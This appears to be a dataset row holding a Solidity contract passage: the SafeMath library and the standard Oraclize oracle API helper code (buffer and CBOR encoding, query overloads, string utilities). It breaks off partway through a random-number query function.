} | 1 | 5,325 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity >= 0.4.22 < 0.5;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
oraclize = OraclizeI(0);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) view internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
